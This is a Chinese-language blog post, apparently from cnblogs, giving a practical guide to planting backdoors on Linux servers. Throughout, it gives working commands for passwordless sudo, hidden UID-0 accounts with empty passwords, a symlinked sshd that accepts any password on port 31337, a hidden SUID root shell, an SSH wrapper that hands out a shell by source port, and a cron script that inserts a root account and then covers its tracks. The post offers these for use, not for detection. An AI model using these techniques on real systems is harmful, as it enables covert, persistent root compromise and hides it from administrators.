Linux后门账户控制

赋予用户sudo权限

vi /etc/sudoers

添加如下一行:
  USER ALL=(ALL) NOPASSWD: ALL

(实现当前用户允许转换成任意用户及执行任意命令)

添加root权限账户

(1)命令添加法

useradd -u 0 -o -g root -G root -d -s /bin/sh testing2

创建帐号:
# useradd [-u UID] [-g GID] [-d HOME] [-mM] [-s shell] username
参数说明:
-u :直接给予一个 UID 。指将uid指定为0(零)与root相同
-g :直接给予一个 GID (此 GID 必须已经存在于 /etc/group 当中)
-d :直接将用户家目录指向已经存在的目录
-M :不建立家目录
-s :定义其使用的 shell

-o :如果重复了uid(如与root帐号的uid重复)必须指定这个参数.

  pkill -kill -t 用户名    //踢出用户

(2)修改文件法

/etc/passwd各部分含义:

用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL

/et/shadow各部分含义:

用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用 

vi /etc/passwd 添加一行:  testing3:x:0:0::/:/bin/bash
vi /etc/shadow 添加一行:  testing3::17068:0:99999:7:::

 验证测试

测试:可以用id testing1命令测试用户名testing1的属性

显示为:uid=0(root),gid=0(root),group=0(root)

快速获得ssh后门
在远程主机上执行:
#ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;
派生一个31337端口,然后连接31337,用root/bin/ftp/mail当用户名,密码随意,就可登陆。

SUID shell

cp /bin/sh /etc/.scs & chmod 4755 /etc/.scs

普通用户执行 ./etc/.scs -p 即可获得root shell。

find / -perm +4000 -ls(查找那些具有 SUID 的文件)

远程后门:
利用 /etc/inetd.conf

#SSH wrapper backdoor
cd /usr/sbin && mv sshd ../bin
echo '#!/usr/bin/sh exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/); exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' > sshd
chmod u+x sshd
/etc/init.d/sshd restart
#控制端:socat STDIOTCP4:target_ip:22,sourceport=19526

(3)自动化脚本

(http://blog.csdn.net/yxyhack/article/details/1799791)

#!/bin/bash  #shell程序的开头标志
echo '40 11 * * * cat /etc/passwd > /dev/ttypwd' >> /etc/door.cron;
echo '40 11 * * * cat /etc/shadow > /dev/ttysdw' >> /etc/door.cron;
echo '41 11 * * * echo "musicyxy:x:0:0::/:/bin/sh" >> /etc/passwd' >> /etc/door.cron;
echo '41 11 * * * echo "musicyxy::9999:0:99999:7:::" >> /etc/shadow' >> /etc/door.cron;
echo '09 12 * * * cat /dev/ttypwd > /etc/passwd' >> /etc/door.cron;
echo '09 12 * * * cat /dev/ttysdw > /etc/shadow' >> /etc/door.cron;
echo '10 12 * * * rm -f /dev/ttypwd' >> /etc/door.cron;
echo '10 12 * * * rm -f /dev/ttysdw' >> /etc/door.cron;
service crond restart;
crontab /etc/door.cron;

第二行是将" 40 11 * * * cat /etc/passwd > /dev/ttypwd " 这段信息追加到/etc/door.cron文件中。
/etc/door.cron是用户自定义的crontab列表文件,任务计划就是依据这个文件的内容来执行的。
编写格式:  * * * * * command
前面的5个星分别代表分钟(0~59),小时(0~23),日期(1~31),月份(1~12),星期(0~6),星后面加要执行的命令。
那么第二行所代表的意思就是在每天的11点40分运行cat /etc/passwd > /dev/ttypwd,以此类推,运行到最后一行就是利用crontab命令让文件生效。

拓展阅读

linux设置开启执行命令:http://www.cnblogs.com/ssooking/p/6094740.html

 http://www.tuicool.com/articles/eIv22az

原文地址:https://www.cnblogs.com/ssooking/p/5939711.html